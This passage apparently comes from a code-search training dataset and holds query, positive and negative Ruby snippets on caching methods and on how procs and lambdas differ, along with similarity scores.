end", "def fetch(&block)\n Rails.cache.fetch(cache_key, &block)\n end", "def cache_for(expires, *args, &blk)\n @cache_data ||= CacheData.new\n @cache_data.value caller_locations(1,1)[0].label.to_sym, expires, args, &blk\n end", "def class_cache # :nodoc:\n end", "def class_cache # :nodoc:\n end", "def query_cache_store(key)\n raise NotImplementedError\n end", "def cache; shrine_class.new(cache_key); end", "def cache key, opts = {}\n if opts[:ttl]\n # cache globaly if ttl provided\n Lux.cache.fetch(key, opts) { yield }\n else\n data = @var[:cache] ||= {}\n data = @var[:cache][key]\n return data if data\n @var[:cache][key] = yield\n end\n end", "def cache_on?; end", "def cache_on?; end", "def _cache_control; end", "def cache\n @cache ||= Chef::Cache.new()\n end", "def [](*args)\n args = args.first if (args.size == 1)\n return super(args) if args.is_a?(Hash)\n ck = cache_key(args)\n if obj = @cache_store.get(ck)\n return obj\n end\n if obj = super(args)\n @cache_store.set(ck, obj, @cache_ttl)\n end \n obj\n end", "def git_cache\n self[KEY]\n end", "def cache(new_cache = nil)\n @cache = new_cache if new_cache\n @cache\n end", "def cache\n $Redis\n end", "def fetch_from_cache\n get_cache_object().get make_key\n end", "def cache\n # Do a deep copy\n Marshal.load(Marshal.dump(@@cache))\n end", "def get_method_cache(method)\n mc = cache_data[method]\n mc.merge! reads: 0, writes:0 if mc.empty?\n mc\n end", "def key\n :cache\n end", "def try_with_cache(obj, source, consume_all); end", "def cache_get(k)\n synchronize{@cache[k]}\n end", "def get_cache(key)\n treecache.fetch(key)\n end", "def cache_read(key: cache_key, **)\n Rails.cache.read(key, namespace: namespace) if validate_key(key)\n end", "def _smart_cache(expires_in, *keys, &block)\n key = _cache_key(keys)\n unless cached = Rails.cache.read( key )\n cached = yield(block) \n Rails.cache.write(key, cached, expires_in: expires_in) \n end\n cached\n end", "def cache_store=(_arg0); end", "def cache_store=(_arg0); end", "def read_entry(key, options)\n if cache = local_cache\n cache.fetch_entry(key) { super }\n else\n super\n end\n end", "def set_cache(value); end", "def set_cache(value); end", "def cache\n the_current_time = current_time\n cache_loaded_at = @cache.loaded_at if @cache\n\n if @cache && cache_expiration_policy_object.stale?(cache_loaded_at, the_current_time)\n flush!(:stale, :loaded => cache_loaded_at, :now => the_current_time)\n end\n\n unless @cache\n instrument('cache_load') do\n @cache = LowCardTables::LowCardTable::Cache.new(@low_card_model, @low_card_model.low_card_options)\n end\n end\n\n @cache\n end", "def cache(key)\n if !@cache_client\n # no cache client\n return yield self\n end\n\n if result = @cache_client.get(key)\n # cache hit\n result\n else\n #cache miss\n result = yield self\n @cache_client.set(key, result)\n result\n end\n end", "def load_cache\n @load_cache\n end", "def cached_instance\n @cached_instance ||= read_instance\n end", "def interface_cache; end", "def cached_fetch(key)\n fetch(key) do\n return yield unless h = self[:cache]\n Sequel.synchronize{return h[key] if h.has_key?(key)}\n value = yield\n Sequel.synchronize{h[key] = value}\n end\n end", "def cached(key)\n return nil unless cache?(key)\n auth_objects_cache[key]\n end", "def get_memcache_key_object\n MemcacheKey.new('aml.aml_search')\n end", "def [](key)\n puts \"STUB: [] in CacheMethods::Cache\"\n end", "def get(key)\n # Return nothing if not in the cache or it has expired.\n return if key.nil?\n\n entry = @cache[key]\n return unless entry\n return if entry.expired?\n\n # Otherwise return the cached object.\n # We don't delete the cached entry because we might need to force its use if its expired and offline\n entry.object\n end", "def get(key)\n @cache[key]\n end", "def cache(key, opts = {}, &block)\n instance.cache(key, opts, &block)\n end", "def cache(key = nil)\n key ||= BasicCache.caller_name\n key = key.to_sym\n if include? key\n @store[key].value\n else\n value = yield\n @store[key] = TimeCacheItem.new Time.now, value\n value\n end\n end", "def get_memcache_key_object\n MemcacheKey.new('aml.all_aml_match')\n end", "def cache\n @cache ||= ::Shopidav::Cache.new(site)\n end", "def cache\n @@cache ||= PStore.new(File.expand_path(@@cache_file))\n end", "def cache_read(key)\n @mutex.synchronize do\n @cache[key]\n end\n end", "def retrieve(*args)\n return @provider.retrieve(*args) if !@provider.nil?\n @cache[args]\n end", "def load_cache\n q = @client.caches.get(:name=>name)\n @client.logger.debug \"GOT Q: \" + q.inspect\n @data = q.raw\n q\n end", "def cache_key\n end", "def call_with_cache(key)\n cache.key?(key) ? cache[key] : cache[key] = fetch(key).call\n end", "def get_cache_object\n return @cache_obj unless @cache_obj == nil\n @cache_obj = ChaiIo::Cache::RedisCache.new\n @cache_obj\n end", "def get(key)\n @cache[key]\n end", "def cache(key, &block)\n fail 'Block required!' unless block_given?\n Rails.cache.fetch(key, cache_config, &block)\n end", "def cache_op(meth, ck)\n if @cache_ignore_exceptions\n @cache_store.send(meth, ck) rescue nil\n else\n @cache_store.send(meth, ck)\n end\n end", "def cacheable?\n true\n end", "def cache\n store = Moneta.new :File, dir: 'moneta'\n Cachy.cache_store = store\n Cachy\n end", "def read_from_cache\n result = if cache.is_a?(Proc)\n cache.call(nil)\n elsif File.exist?(cache.to_s)\n File.read(cache)\n end\n result if valid_rates?(result)\n end", "def get_cached_data(uri)\n Rails.cache.fetch(uri, {expires_in: 24.hours, raw: true}) { JSON.parse(RestClient::Resource.new(uri).get) }\n end" ]
[ "0.7974993", "0.78140277", "0.78140277", "0.78140277", "0.78140277", "0.78140277", "0.78140277", "0.78140277", "0.77818835", "0.7752388", "0.7752388", "0.76069593", "0.74965954", "0.73809236", "0.7309405", "0.73067224", "0.7287726", "0.72852653", "0.72758466", "0.7238458", "0.7200282", "0.71651924", "0.71612376", "0.7155384", "0.7134491", "0.71281683", "0.7104669", "0.7102492", "0.7099673", "0.708796", "0.70786417", "0.70786417", "0.70786417", "0.70786417", "0.7072834", "0.706127", "0.706127", "0.70479333", "0.70273584", "0.702476", "0.702476", "0.70072186", "0.7002989", "0.6996931", "0.6987284", "0.6987284", "0.69682866", "0.69439065", "0.69388795", "0.69242316", "0.69242316", "0.6923215", "0.6918701", "0.69183016", "0.6910778", "0.69094014", "0.68966204", "0.68578184", "0.6852914", "0.6852597", "0.68436015", "0.6829156", "0.6817035", "0.6801527", "0.6795647", "0.678851", "0.67796266", "0.67796266", "0.6776403", "0.67747587", "0.67747587", "0.6754725", "0.67349684", "0.6727765", "0.67223555", "0.67220914", "0.67135644", "0.6712296", "0.67101294", "0.67035335", "0.66876435", "0.6684565", "0.66641766", "0.66622144", "0.66572315", "0.6631917", "0.6626993", "0.66251075", "0.66171086", "0.66022706", "0.6599262", "0.65960324", "0.6586676", "0.658223", "0.6581798", "0.65762216", "0.65700185", "0.6568123", "0.65542567", "0.6545649" ]
0.74402547
13
Puts a value into the cache
def put(cache_method, value) cache.send("#{cache_method}=", value) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def write(key, value)\n @cache[key] = value\n end", "def cache(key, value)\n @cache[key] = value\n end", "def cached_set(key, value)\n return unless h = self[:cache]\n Sequel.synchronize{h[key] = value}\n end", "def set_cache(value); end", "def set_cache(value); end", "def set(key, value)\n @cache[key] = value\n end", "def store(value, *key)\n @cache[key] = value\n end", "def put(key, value)\n if @table[key].nil?\n insert_into_cache(key, value)\n else\n update_cache(key, value)\n end\n end", "def cache_set(k, v)\n synchronize{@cache[k] = v}\n end", "def cache_write(value, key: cache_key, **)\n Rails.cache.write(key, value, namespace: namespace) if validate_key(key)\n end", "def cache(name, value)\n @cache = {} if @cache.nil?\n @cache[name] = value\n end", "def cache_value(cache_key, value)\n @cached_values[cache_key] = value\n @cached_values\n end", "def add(value)\n ensure_cache_path_created\n FileUtils.touch(File.join(cache_path, value))\n end", "def put(key, value)\n return if @capacity.zero?\n @cache.delete(key)\n @cache.shift while @cache.size >= @capacity\n @cache[key] = value\n end", "def write(key, value, expires_in: nil)\n @cache[key] = value\n @expires[key] = Faulty.current_time + expires_in unless expires_in.nil?\n end", "def set_cache\n cache_key = self.class.cache_key(self.key)\n Rails.cache.write(cache_key, self.actual_value)\n end", "def set(key, value)\n path = File.join(@root, \"#{key}.cache\")\n\n # Ensure directory exists\n FileUtils.mkdir_p File.dirname(path)\n\n # Check if cache exists before writing\n exists = File.exist?(path)\n\n # Serialize value\n marshaled = Marshal.dump(value)\n\n # Compress if larger than 4KB\n if marshaled.bytesize > 4 * 1024\n deflater = Zlib::Deflate.new(\n Zlib::BEST_COMPRESSION,\n Zlib::MAX_WBITS,\n Zlib::MAX_MEM_LEVEL,\n Zlib::DEFAULT_STRATEGY\n )\n deflater << marshaled\n raw = deflater.finish\n else\n raw = marshaled\n end\n\n # Write data\n PathUtils.atomic_write(path) do |f|\n f.write(raw)\n @size = size + f.size unless exists\n end\n\n # GC if necessary\n gc! if size > @max_size\n\n value\n end", "def set(key, value, mtime)\n @cache[key] = {\n value: value,\n mtime: mtime\n }\n end", "def store(value, *args)\n return @provider.store(value, *args) if !@provider.nil?\n @cache[args] = value\n end", "def save(key, value)\n return if @capacity <= 0\n\n @cache_mutex.synchronize do\n @map.delete(key) if @map.key?(key)\n\n @map[key] = CacheElement.new(value)\n\n @map.delete(@map.first[0]) if @map.size > @capacity\n nil\n end\n end", "def cache_write(key, data)\n @mutex.synchronize do\n @cache[key] = data\n end\n end", "def []= string, value\n return value unless @cache_on\n @mutex.synchronize { @cache[string] = value }\n end", "def put(key, value)\n node = @cache[key]\n if node.nil?\n if(@size >= @capacity)\n tail = pop_tail()\n @cache.delete(tail.key)\n @size -= 1\n end\n newNode = DLinkedNode.new\n newNode.key = key\n newNode.value = value\n \n @cache[key] = newNode\n add_node(newNode)\n \n @size += 1\n else\n node.value = value\n move_to_head(node)\n end\n end", "def cache_store(key, value, options = {})\n options[:expires] = options.delete(:ttl) || @options[:expires_in]\n @moneta.store(key, value, options)\n end", "def put(key, object, ttl = nil)\n @cache[key] = CacheEntry.new(object, ttl) unless key.nil? || object.nil?\n end", "def set key, value\n begin\n write_cache_file( key, Marshal::dump(value) )\n flush_expired if gc_auto\n return true\n rescue\n flush_expired if gc_auto\n return false\n end\n end", "def put(key, value)\n stored = @node_map[key]\n if stored\n stored.val = value\n #reusing the ips\n get(key)\n nil\n else\n node = CacheListNode.new()\n node.val = value\n node.key = key\n insert_node_at_head(node)\n @list_tail = node unless @list_tail\n @node_map[key] = node\n if @node_map.size > @capacity\n @node_map.delete(@list_tail.key)\n clip_node_from_list(@list_tail)\n end\n nil\n end\n end", "def put(key, value)\n return if @cap <= 0\n fav = @c[key]\n if fav\n return\n end\n \n end", "def cache_store(key, value, options = {})\n ttl = options[:ttl] || @options[:expires_in]\n\n @client.setex(key, ttl, ::Marshal.dump(value))\n\n return value\n end", "def cache key, value=nil, &block\n return self[key] if self.has_key?(key)\n @lock.write_sync{ @data[key] = block_given? ? yield() : value }\n end", "def store(key, value, opts = {})\n opts = {:ttl => opts} if opts.is_a?(Integer)\n @cache[\"#{@cache_name}:#{key}\"] = {\n :expires => opts[:ttl] ? Time.now + opts[:ttl].to_i : nil,\n :value => value\n }\n value\n end", "def put(key, value, expiry = 0)\n if servers?\n unless value.blank?\n if @cache.get(key_in_ns(key), true)\n @cache.set(key_in_ns(key), value, expiry, false)\n else\n @cache.add(key_in_ns(key), value, expiry, false)\n end\n else\n @cache.delete(key_in_ns(key)) if @cache.get(key_in_ns(key), true)\n end\n end\n value\n end", "def []=(key, value)\n @cache.put key, Base64.encode64(Marshal.dump(value))\n value\n end", "def []=(string, value)\n return value unless cache_on?\n\n @mutex.synchronize { @cache[string] = value }\n end", "def test_set_key_value\n result = @cache.set('Key', 'Data', 0, Time.now.to_i + 60)\n cache = @cache.get('Key').args\n\n assert_true result.success\n assert_equal 'STORED', result.message.chomp.split(\"\\s\")[0]\n assert_equal 'Data', cache.data\n end", "def cache_store(key, value, options = {})\n nkey = namespaced(key)\n\n # Get the time after which the cache should be expired\n if options[:ttl]\n ttl = options[:ttl]\n else\n ttl = Ramaze::Cache::Sequel.options[:ttl]\n end\n \n expires = Time.now + ttl if ttl\n \n # The row already exists, update it.\n if @dataset.filter(:key => nkey).count == 1\n serialized_value = serialize(value)\n\n if serialized_value\n @dataset.update(:value => serialize(value), :expires => expires)\n end\n # The row doesn't exist yet.\n else\n serialized_value = serialize(value)\n\n if serialized_value\n @dataset.insert(:key => nkey, :value => serialize(value), :expires => expires)\n end\n end\n\n # Try to deserialize the value. If this fails we'll return a different value\n deserialized = deserialize(@dataset.select(:value).filter(:key => nkey)\n .limit(1).first[:value])\n\n if deserialized\n return deserialized\n else\n return value\n end\n end", "def []=(key, value)\n key, val = key.to_s, encode_value(value)\n record = find_or_create_by_hkey(key)\n record.update_attribute(\"hvalue\", val)\n save_cache(key, value)\n end", "def cache_store(key, value, options = {})\n nkey = namespaced(key)\n\n # Get the time after which the cache should be expired\n if options[:ttl]\n ttl = options[:ttl]\n else\n ttl = Ramaze::Cache::Sequel.options[:ttl]\n end\n\n expires = Time.now + ttl if ttl\n\n # The row already exists, update it.\n if @dataset.filter(:key => nkey).count == 1\n serialized_value = serialize(value)\n\n if serialized_value\n @dataset.filter(:key => nkey) \\\n .update(:value => serialize(value), :expires => expires)\n end\n # The row doesn't exist yet.\n else\n serialized_value = serialize(value)\n\n if serialized_value\n @dataset.insert(\n :key => nkey, :value => serialize(value), :expires => expires\n )\n end\n end\n\n # Try to deserialize the value. If this fails we'll return a different\n # value\n deserialized = deserialize(@dataset.select(:value) \\\n .filter(:key => nkey) \\\n .limit(1).first[:value])\n\n if deserialized\n return deserialized\n else\n return value\n end\n end", "def set key, value\n @reverse_cache[value.object_id] = key\n @cache[key] = value.object_id\n ObjectSpace.define_finalizer(value, @finalize)\n end", "def cache_set(ck, obj)\n @cache_store.set(ck, obj, @cache_ttl)\n end", "def set key, force=nil, &block\n return if (!force) && cache.include?(key)\n cache_val, store_val = block.call()\n return unless cache_val\n cache.set_nr key, cache_val # update cache\n store << store_val # save value\n self.misses += 1 # track the cache miss\n store_val\n end", "def []=(key,val)\n key = key.to_sym\n cache[key] = values[key] = val\n end", "def []=(key,val)\n key = key.to_sym\n cache[key] = values[key] = val\n end", "def []=(key,val)\n key = key.to_sym\n cache[key] = values[key] = val\n end", "def write(key, value, ttl = 0, marshaling = true)\n Rails.cache.write(key, value, {expires_in: get_ttl(ttl), raw: !marshaling})\n nil\n rescue => exc\n Rails.logger.error { \"MEMCACHE-ERROR: write: K: #{key}. M: #{exc.message}, I: #{exc.inspect}\" }\n nil\n end", "def put(key, value); end", "def cache_store(key, value, options = {})\n key = namespaced(key)\n ttl = options[:ttl] rescue nil\n expires = Time.now + ttl if !ttl.nil?\n record = @store[:key => key]\n\n # Figure out if the record is new or already exists\n if !record\n record = @store.create(:key => key, :value => value, :expires => expires)\n record.value\n else\n record = record.update(:value => value, :expires => expires)\n record.value\n end\n end", "def set(key, value, ttl: ShopifyClient.config.cache_ttl)\n raise NotImplementedError\n end", "def write(key, value, options = nil)\r\n super\r\n method = (options && options[:unless_exist]) ? :add : :set\r\n @cache.send(method, valid_key(key), value, expires_in(options), marshal?(options))\r\n true\r\n rescue Memcached::Error => e\r\n log_error(e)\r\n false\r\n end", "def _store(*key_elements, value)\n cache.put(_key(*key_elements), value)\n end", "def put(key, value=nil)\n\n stash_put(fei, key, value)\n end", "def cache(data); end", "def set(key, value, ttl = 0)\n stats[:set] += 1\n handler.set key, value, ttl\n end", "def put(key, value, timeout = @default_timeout)\n @store.synchronize do\n @store.put(key, value, timeout) unless value.nil?\n end\n end", "def put(key, value)\n \treturn if @capacity.zero?\n if @cache.key?(key) || !@cache.key?(key) && @cache.size < @capacity\n @cache[key] = value\n @frequency[key] += 1\n i = @frequency[key]\n if i == 1 # a new item\n @rentused[1] = { key => nil } if @rentused[1].nil?\n @rentused[1][key] = nil\n else\n @rentused[i - 1].delete(key)\n @rentused[i] = { key => nil } if @rentused[i].nil?\n @rentused[i][key] = nil\n end\n else\n 1.upto(100).each do |i|\n next unless !@rentused[i].nil? && !@rentused[i].empty?\n k = @rentused[i].keys.first\n @cache.delete(k)\n @frequency.delete(k)\n @rentused[i].delete(k)\n break\n end\n @cache[key] = value\n @frequency[key] = 1\n @rentused[1] = { key => nil } if @rentused[1].nil?\n @rentused[1][key] = nil\n # p @cache, @frequency, @rentused\n end\n end", "def put(key, value)\n \n end", "def cache(named_key, object)\n @mutex.synchronize {\n self[named_key] = object\n } \n end", "def do_cached( key, &block )\n \n # have a look in the cache\n value = fetch( key )\n\n # Cache HIT?\n return value unless value.nil?\n\n # Cache MISS : execute the block\n value = block.call( key )\n\n # Store value in the cache\n return store( key, value )\n end", "def cache_value?; end", "def put(key, value)\n has_key = get(key)\n\n if has_key != -1\n @store[key].val = value\n elsif has_key == -1 && length < capacity\n n = @store[key] = LNode.new(value, key)\n append_to_tail(n)\n @length += 1\n else #if has_key == -1 && length >= capacity\n lru = @store[:head].nxt\n remove_node_from_store_links(lru)\n @store.delete(lru.key)\n n = @store[key] = LNode.new(value, key)\n append_to_tail(n)\n end\n nil\n end", "def cache(key, value, source = nil)\n if key.nil? || value.nil?\n raise ArgumentError, 'Missing key or value to store'\n end\n mycache = find_cache(key, source)\n make_cache_path(mycache[:dir]) unless mycache[:dir].nil?\n # don't use the Rubyist standard pattern so we can test with rspec\n begin\n out = File.open(mycache[:file], 'w')\n YAML.dump({ key.to_s => value }, out)\n out.close\n rescue StandardError => e\n Facter.debug(\"Unable to write to cache #{mycache[:file]}: #{e.backtrace[0]}: #{$ERROR_INFO}.\")\n end\n end", "def put(key = '', data = '')\n if key != '' && data != ''\n puts \"Writing into cache with key: #{key}\" if ENV['DEBUG']\n return ::File.write(@cache_dir+key, data)\n end\n\n return false\n end", "def set(data)\n data = data.to_json\n cache_key = Digest::SHA1.hexdigest(data)\n\n log(\"insert :Cache, #{cache_key} -> {'blob' => #{data.inspect}}\")\n connection.insert(:Cache, cache_key, { \"blob\" => data })\n cache_key\n end", "def set(key, value, expires_in = 0)\n remove(key)\n expires = nil\n if expires_in > 0\n expires = Time.now.utc + expires_in\n end\n @store.push({ key: build_key(key), value: value, expires: expires})\n end", "def get(key)\n return -1 unless @cache.key?(key)\n val = @cache[key]\n @cache.delete(key)\n @cache[key] = val\n val\n end", "def cache( name, value, created_on )\n meter = Meter.new( :name => name, :value => value, :created_on => created_on, :created_at => Time.now )\n store( name, meter )\n end", "def assign_cached(value)\n uploaded_file = uploaded_file(value)\n set(uploaded_file) if cache.uploaded?(uploaded_file)\n end", "def cache_set(key, data, from_now = nil)\n true\n end", "def cache_store=(_arg0); end", "def cache_store=(_arg0); end", "def put(key, value, lifetime: 2**32)\n synchronized do\n @hash[key] = {\n value: value,\n start: Time.now,\n lifetime: lifetime\n }\n end\n end", "def []=(key, value)\n @lock.synchronize { @store[key] = value }\n end", "def update_cache(type, id, data)\n end", "def update_cache(type, id, data)\n end", "def cache(named_key, ttl, object)\n @mutex.synchronize {\n self[named_key] = object\n @timestamps[named_key][:ttl] = ttl\n @timestamps[named_key][:expire_type] = :created\n @timestamps[named_key][:is_cache] = true\n } \n end", "def write(key, value, opts = {})\n _key = Digest::SHA1.hexdigest key\n ttl = opts[:ttl] || @default_ttl\n \n # We don't want to cache errors\n return if value.is_a?(Faraday::Response) && !value.success?\n\n if (value.is_a?(Faraday::Response) && !value.headers['expires'].nil?)\n resp_ttl = DateTime.parse(value.headers['expires']).to_time.to_i - Time.now.to_i\n ttl = resp_ttl if resp_ttl > 0\n end\n\n _value = Marshal.dump value\n\n @memory_store[_key] = value\n $LOG.debug \"Writing to JDG cache hashed #{_key} for #{key}\"\n @conn.put do |req|\n req.url \"/rest/jbossdeveloper/#{@profile}_#{_key}\"\n req.headers['Content-Type'] = opts[:content_type] || 'application/ruby+object'\n req.headers['timeToLiveSeconds'] = ttl.to_s # need to see if we're actually a request and full from that\n req.body = _value\n end\n end", "def add( name, value, created_on )\n meter = fetch( name, nil )\n\n # If the name isn't cached, cache it and return\n return cache( name, value, created_on ) unless meter\n\n # If the cached value is for a different day, flush it, cache the new value and return\n if meter.created_on != created_on\n flush( name )\n cache( name, value, created_on )\n return\n end\n\n # Add the new value to the cached value and flush if expired\n meter.value += value\n flush( name ) if meter.expired?\n end", "def put(key, value)\n remove(key) unless get(key) == -1\n @count += 1\n resize! if @count == @size\n bucket = @map[key.hash % @size]\n bucket << [key, value]\n end", "def put(k, v, options={})\n @client.items.put(k, v, options.merge(:cache_name=>name))\n end", "def put(key, value, expiry=0, replace=1, gen_count=0) \n return Nvmkv::kv_put(@kv_id, @pool_id, key, value, expiry, replace, gen_count)\n end", "def cache_get(k)\n synchronize{@cache[k]}\n end", "def set(key, value, expires_in = 0)\n\n end", "def cached(cache_key)\n begin\n result = yield\n $memcache.set(cache_key, result, 7200)\n warn \"Component #{cache_key} Set Successfully\" \n result\n rescue\n {}\n end\n end", "def cache_set(key, data, from_now = nil)\n _expire = from_now ? from_now.minutes.from_now : nil\n cache_write(key, [data, _expire])\n Merb.logger.info(\"cache: set (#{key})\")\n true\n end", "def call_with_cache(key)\n cache.key?(key) ? cache[key] : cache[key] = fetch(key).call\n end", "def set_item(value = nil, **opt)\n value ||= default\n cache_write(value, **opt) && value if value\n end", "def set(thing)\n @cache[section(thing)][key(thing)] = digest(thing)\n end", "def store(key, value, options = {})\n # todo What's the best way to run these two calls at once, given that it's very much one-at-a-time\n exp = options[:expires_in] ? (Time.now + options[:expires_in]) : nil\n @mongo_collection.update({ '_id' => key }, { '_id' => key, 'data' => value, 'expires' => exp }, { :upsert => true }) # upsert is the best technical term ever.\n \n unless options.has_key?(:bypass_memcache)\n args = [key, value, options[:expires_in] || @options[:memcache_default_expire]].compact\n @memcache.set(*args)\n end\n \n value\n end", "def put(key, value)\n # logger.debug \"put #{key} data\"\n db.put(key, value)\n end", "def cache=(_arg0); end", "def cache=(_arg0); end", "def cache=(_arg0); end", "def cache=(_arg0); end", "def update_cache(type, id, data)\n end", "def update_cache(ticket, cache)\n cache[ticket[:spacekey]] = ticket[:id] if seen?(ticket, cache)\n cache\n end", "def put(key, value)\n @first.put(key, value)\n end", "def store_value(timestamp, key, value)\n # Prepend the timestamp so we always have unique values\n @redis.zadd(key, timestamp, \"#{timestamp}:#{value}\")\n end", "def []=(key, value)\n invalidate_caches\n @keys[key.to_sym] = value\n end", "def _set_cached_field(field, value)\n cached_obj = self.class._cache[\"#{object.id}.#{object.updated_at.to_i}\"] || {}\n cached_obj[field] = Rails.cache.fetch([object.cache_key, field]) { value }\n end", "def store(key, value)\n mon_synchronize do\n node = (@hash[key] ||= Node.new(key))\n node.value = value\n touch(node)\n compact!\n node.value\n end\n end" ]
[ "0.8321329", "0.82036793", "0.8186418", "0.81461436", "0.81461436", "0.80279064", "0.8013675", "0.7994771", "0.77570903", "0.7753566", "0.77358323", "0.77284604", "0.7668412", "0.7609113", "0.75113434", "0.74777466", "0.744035", "0.74385303", "0.74105644", "0.73909056", "0.73753816", "0.73704916", "0.73231024", "0.73212343", "0.7301082", "0.7294274", "0.7266447", "0.7258994", "0.72576076", "0.7196233", "0.7192693", "0.71861386", "0.71839005", "0.71297145", "0.70985514", "0.70943147", "0.70882446", "0.7074544", "0.70586723", "0.7052732", "0.7035732", "0.7023404", "0.7023404", "0.70217186", "0.70176846", "0.70136005", "0.6983933", "0.69813", "0.69563365", "0.6922951", "0.69194347", "0.6911537", "0.690527", "0.6902494", "0.6887735", "0.6881733", "0.6870697", "0.6853544", "0.6843672", "0.6828746", "0.6777537", "0.67490065", "0.67308325", "0.67264366", "0.6712092", "0.6708735", "0.67049414", "0.6686963", "0.6686751", "0.6686751", "0.6645831", "0.66346073", "0.6633031", "0.6633031", "0.6622725", "0.6621566", "0.6564497", "0.6561751", "0.6561571", "0.655851", "0.6545437", "0.65440917", "0.65404135", "0.65343994", "0.6534091", "0.65263855", "0.652211", "0.6520281", "0.6515286", "0.65065247", "0.65065247", "0.65065247", "0.65065247", "0.6501042", "0.6491877", "0.64860564", "0.6485704", "0.6481485", "0.6481213", "0.64768857" ]
0.7649727
13
son tambien PROC diferencia PROC y lambda PROC se comporta como un Bloque lambda como un metodo diferencias en comportamiento metodo y bloque args a un bloque pasan a ser nulos (son opcionales) metodos son obligatorios y dan peo sin van vacios return desde un bloque, terminas la ejecucion del metodo return desde metodo (lambda) solo se termina la ejecucion del mismo
def test_lambda (->(){return "Game Over"}).call() puts "Despues de la lambda" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def proc_lamda_dif_one\n p = Proc.new { |num1, num2| \n num3= num1+num2 \n puts \"\\nProc executes even if it has less or more number of parameters\\n\"\n } \n p.call 50, 55, 60\n\n print \"\\n\\nFollowing Error with lamda if it has more or less no of arguments\"\n print \" than no of parameters it is catching showing the difference between \"\n print \" proc and lamda: \\n\\n\"\n l = lambda { |num1, num2| puts num1+num2 } \n l.call 50, 55, 60\nend", "def create_proc_with_params\n proc = Proc.new { |a| puts a * 2 }\n #on check on numbers of paramaters\n proc.call(4,6)\n proc.call(5)\nend", "def ejecutar2(&bloque)\r\n if block_given?\r\n bloque.call #same as yield\r\n else\r\n puts 'No tiene bloque asignado'\r\n end\r\nend", "def postproc; end", "def create_proc_with_return\n proc = Proc.new { return puts \"I am a proc with return\" }\n #on check on numbers of paramaters\n proc.call()\n # will not be executed!\n puts \"I am behind proc's call that with a return \"\nend", "def proc_example\n\tsay_hi = proc {|name| puts \"Hi #{name}\"}\n\tsay_hi.call(\"Ganesh\")\nend", "def postproc=(_arg0); end", "def new_proc\n proc1 = Proc.new{return \"I got it....\"}\n proc1.call\n \n return \".. but not that\"\nend", "def sampleProc\n procOne = Proc.new { return \"Proc block!\" }\n procOne.call\n \"Last Proc statement!\"\nend", "def metodo proc1\n\tputs 'Start'\n\tproc1.call\n\tputs'Fin'\nend", "def func_one\n proc_new = Proc.new {return \"123\"}\n proc_new.call(1,2)#proc dont care how many argument added\n return \"456\"\nend", "def method_1 nombre, &bloque\n yield if block_given? # bloque.call if block_given? #llamamos a nuestro bloque\nend", "def procTest\n\t# Create a new Proc\n\tmultiplesOfThree = Proc.new { |n| n % 3 == 0 }\n\n\t# (1..100).to_a gives an array of integers from 1 to 100\n\t# \"Array.select\" selects only the items for which the original block returned true\n\ta = (1..100).to_a\n\ta.select!(&multiplesOfThree)\n\ta.each { |value| puts \"#{value} \" }\n\n\t# Calling a Proc\n\thello = Proc.new { puts \"Hello!\" }\n\thello.call\nend", "def block_vs_proc_lamda\n #puts $catch_block\n print \"In method: before yield\\n\"\n yield\n print \"In method: after yield\\n\"\n \n p = Proc.new { |my_var| print \"in method in proc and parameter is: #{my_var}\\n\"} \n p.call 10\n l = lambda { |lamda_var| print \"in method in lambda and parameter is: #{lamda_var}\\n\"}\n l.call 11 \n #puts $catch_block\n 10\nend", "def procasaurus( &block )\n\tputs \"I am a procasaurus.\"\n\tputs block.class\n\t# note the proc must be the last parameter and must start with ampersand\nend", "def proc_builder(message)\n\tProc.new { puts message; return }\nend", "def to_proc() end", "def to_proc() end", "def proc_return_demo\n some_proc = Proc.new { return \"proc returns\"}\n some_proc.call\n \"method returns\"\nend", "def proc_sample\n proc = proc { return 'world' }\n 'hello ' << proc.call\nend", "def my_lambda\n\n\tputs \"first lambda\"\n\n\tproc1 = lambda {\n\n\t\tputs \"second lambda\"\n\t\t#breaak or return\n\n\t}\n\n\tproc1.call\n\tputs \"last lambda\"\nend", "def my_proc\n\n\tputs \"first proc\"\n\n\tproc1 = proc {\n\n\t\tputs \"second proc\"\n\t\t#breaak or return\n\n\t}\n\n\tproc1.call\n\tputs \"last proc\"\nend", "def process(&block); end", "def go\n a = Proc.new do \n puts 'Proc'\n\n return\n end\n\n methods(&a)\n\n puts 'end go'\nend", "def ret_proc \n proc = Proc.new { return \"a return from inside the proc returns not only from the proc, but the enclosing method itself, unlike a lambda.\"}\n proc.call\n return \"returning from inside the method\"\n end", "def lambda_vs_proc\n my_lam = lambda { return puts \"Hi, I'm your lambda!\" }\n my_lam.call\n puts 'Returned from lambda!'\n my_proc = Proc.new { return puts 'Hello from proc!' }\n my_proc.call\n puts 'The proc will not allow this to be seen!'\nend", "def sequence4(n, m, c, b) # No ampersand used for argument b\ni = 0\nwhile(i < n)\nb.call(i*m + c)\n# Proc is called explicitly\ni += 1\nend\nend", "def run_block_3\n p = Proc.new # if new proc is not passed a code block, it looks to see if the current scope has been passed a code block and use that\n p.call # if current scope has not been passed a code block, there will be an error\nend", "def run_couple\n run_a_proc proc { puts 'I am a proc'; return }\n p 'you will not see me'\n run_a_proc lambda { puts 'I am a lambda'; return }\nend", "def hola &block\n puts block.class.name #esta linea nos dice que esto es un proc\n block.call\nend", "def proc\n return $PROC\n end", "def run_block\n p = Proc.new # <1>\n p.call\nend", "def cbo2 (&inBlock)\n returnLambda = nil\n begin\n puts \"Received inBlock of class #{inBlock.class}\"\n puts \"Inspecting inBlock: #{inBlock.inspect}\"\n puts \"Converting inBlock to lambda\"\n returnLambda = lambda inBlock\n rescue Exception\n puts \"Got an Exception. Guess you can't do that. Returning nil.\"\n end\n returnLambda\nend", "def proc_method(&my_proc)\n puts \"method start\"\n my_proc.call\n puts \"method end\"\nend", "def procBuilder(message)\r\n Proc.new {p message; return}\r\nend", "def test procArg1, procArg2\n\tProc.new do |arg|\n\t\tprocArg2.call(procArg1.call(arg))\n\tend\nend", "def proc_in_return\n proc_func = proc {\n return\n }\n proc_func.call\n\n \"mew\"\n end", "def to_proc() self ; end", "def proc_return\n Proc.new { return \"Proc.new\"}.call\n return \"proc_return method finished\"\nend", "def to_proc()\n #This is a stub, used for indexing\n end", "def to_proc\n ->(*args) {call(*args)}\n end", "def block_to_proc(&p)\n\tp.call\nend", "def run_proc_or_lambda_2(blockblock)\n puts \"station 1 of 3\"\n blockblock.call\n puts \"station 3 of 3\"\nend", "def run_proc_or_lambda_2(blockblock)\n 